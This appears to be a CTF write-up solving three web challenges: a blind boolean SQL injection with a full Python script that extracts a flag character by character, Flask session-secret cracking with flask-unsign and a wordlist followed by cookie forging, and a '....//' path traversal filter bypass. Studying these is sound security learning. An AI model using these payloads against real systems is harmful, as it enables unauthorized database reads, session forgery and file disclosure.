Backdoor CTF 2025 Write-up

16 Sep 2025

Backdoor CTF 2025 Write-up cover image.

Introduction


No sight required

The purpose of this chall is to get the flag from database

flag = os.environ.get('FLAG', 'flag{fake_flag}')
cursor.execute('INSERT INTO secret_flags (flag) VALUES (?)', (flag,))

Vuln

There is SQLI in /search endpoint

@app.route('/search')
def search():
    user_id = request.args.get('id', '')
    
    if not user_id:
        return render_template('index.html', 
                             message='Please enter a user ID', 
                             search_id='', 
                             found=False,
                             users=None)
    
    try:
        conn = get_db()
        cursor = conn.cursor()
        
        query = f"SELECT * FROM users WHERE id = {user_id}" # SELECT * FROM users WHERE id = "
        
        cursor.execute(query)
        results = cursor.fetchall()
        conn.close()

but, because the output of query not displayed in html page

if results:
    return render_template('index.html',
        message='User found!',
        search_id=user_id,
        found=True,
        users=None)
else:
    return render_template('index.html',
                            message='No user found with that ID',
                            search_id=user_id,
                            found=False,
                            users=None)

so we will have to use http response like 200 or 400 as our guide regarding information about flag and a little brute force

Payload

1 AND (SELECT substr(flag,{index},1) FROM secret_flags) = '{i}'

This payload will check one by one whether a character is a character at a certain index in the flag, substr will get only 1 char in flag then then it will be checked whether the character is the same as the i if true then server will response 200, if not then server respone 400


Full Script

all = "qwertyuiopasdfghjklzxcvbnm1234567890}{QWERTYUIOPASDFGHJKLZXCVBNM_!@#$%^&*()"
URL = "http://localhost:5001/search"

def check_payload(payload):
    response = requests.get(URL, params={'id': payload})
    return "User found!" in response.text

def dump_flag():
    flag = ""
    index = 1
    while True:
        char_found = False
        for i in all:
            payload = f"1 AND (SELECT substr(flag,{index},1) FROM secret_flags) = '{i}'"
            
            if check_payload(payload):
                char = i
                flag += char
                char_found = True
                index += 1
                if char == '}':
                    return
                break
        
        if not char_found:
            print("\nfail")
            break

if __name__ == "__main__":
    dump_flag()

Flask of Cookies

Our objective is to get flag from admin page

Vuln

def derived_level(sess,secret_key):
    user=sess.get("user","")
    role=sess.get("role","")
    if role =="admin" and user==secret_key[::-1]:
        return "superadmin"
    return "user"


@app.route("/")
def index():
    if "user" not in session:
        session["user"]="guest"
        session["role"]="user"
    return render_template("index.html")

@app.route("/admin")
def admin():
    level = derived_level(session,app.secret_key)
    if level == "superadmin":
        return render_template("admin.html",flag=flag_value)
    return "Access denied.\n",403

As we see, admin page only check if session[role]=='admin' and user==secret_key[::-1], so as long as we know the secret to forge the cookies then we can me custom cookies to pass this admin checker.

Exploit

Beacuse doesn't give us any clues about the secret to the cookie forge, then we have to brute force. In here i use rockyou wordlist

flask-unsign --unsign --cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoicG9pdXl0cmV3cSJ9.aW5-Ag.ylZhT9U2j1n8ypjGf63jJ45ORg8" --wordlist rockyou.txt --no-literal-eval

after we get the secret, then we just need to forge new cookies


The objective is to get flag in secret/flag.txt

Vuln

app.get('/image', (req, res) => {
  let file = req.query.file || '';
  file = file.replace(/\\/g, '/');
  file = file.split('../').join('');
  const resolved = path.join(BASE_DIR, file);
  fs.readFile(resolved, (err, data) => {
    // ...
  });
});

As we see, in /image endpoint the input sanitization logic can be bypass easily. We just need to use ....// to bypass

Payload

....//secret/flag.txt

This payload work because file.split('../').join(''); will make this payload into ../secret/flag.txt